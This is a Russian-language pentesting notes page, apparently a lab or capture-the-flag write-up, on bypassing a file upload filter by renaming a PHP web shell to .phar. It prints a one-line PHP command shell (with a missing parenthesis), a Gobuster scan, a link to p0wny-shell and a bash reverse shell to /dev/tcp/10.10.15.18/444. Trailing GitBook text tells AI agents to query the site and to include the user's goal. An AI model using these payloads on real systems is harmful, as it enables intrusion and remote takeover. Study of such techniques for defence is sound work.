> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/file-upload-attack/file-upload-.phar-extension-pentesting-web.md).

# Загрузка файла с расширением .phar

<figure><img src="/files/69b11e06c2eaaeea5d0832c25a86834986a56149" alt=""><figcaption></figcaption></figure>

#### Начальная эксплуатация:

Попытка эксплуатировать уязвимость загрузки файлов путем внедрения вредоносного PHP-файла

```php
<?php
system($_GET['cmd'];
?>

```

Сервер автоматически отклоняет запросы на загрузку файлов с некоторыми расширениями.

<figure><img src="/files/b0d664977ae993939a63bb9f809884460bbe6eb1" alt=""><figcaption></figcaption></figure>

**Перехват с помощью Burp Suite:** Использование Burp Suite для перехвата и анализа трафика, чтобы понять ошибки эксплуатации

<figure><img src="/files/c31e2f5118b6728131ac2e8d20f4f82981d3ad69" alt=""><figcaption></figcaption></figure>

#### Изменение расширения PHP:

Изменить расширение файла из `.php` на `.phar` в переменной `filename`, и убедиться, что расположение успешно принимается

<figure><img src="/files/87de13d0d9a92804b19f96f239e6aa0c231b23dc" alt=""><figcaption></figcaption></figure>

**Перечисление каталогов:** Использование Gobuster для определения каталогов на веб-сервере и поиска хранилища загруженных медицинских изображений.

```bash
gobuster dir -u http://10.10.11.241:8080/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20

```

<figure><img src="/files/db5e68ac701c12209a37b96070d7cd113e9b0d92" alt=""><figcaption></figcaption></figure>

#### файл не интерпретируется:

Содержимое файла .phar не интерпретируется.

<figure><img src="/files/567ca5c590d035287e60862070f5064fc2d63cf1" alt=""><figcaption></figcaption></figure>

**Использование инструмента GitHub для создания shell:** Использование инструмента из проекта GitHub для обхода ограничений на загрузку PHP-файлов и получения доступа к shell

{% embed url="<https://github.com/flozz/p0wny-shell>" %}

<figure><img src="/files/5c193287e4d164140b39312c9ca9327178d917de" alt=""><figcaption></figcaption></figure>

**Запуск обратного shell:**

```bash
/usr/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.18/444 0>&1'

```

Выполнение команд через обратный shell для установления интерактивного доступа к целевой машине и получения полного контроля.

<figure><img src="/files/c583f6d6644adf385173e64c333282444d5d2250" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/file-upload-attack/file-upload-.phar-extension-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
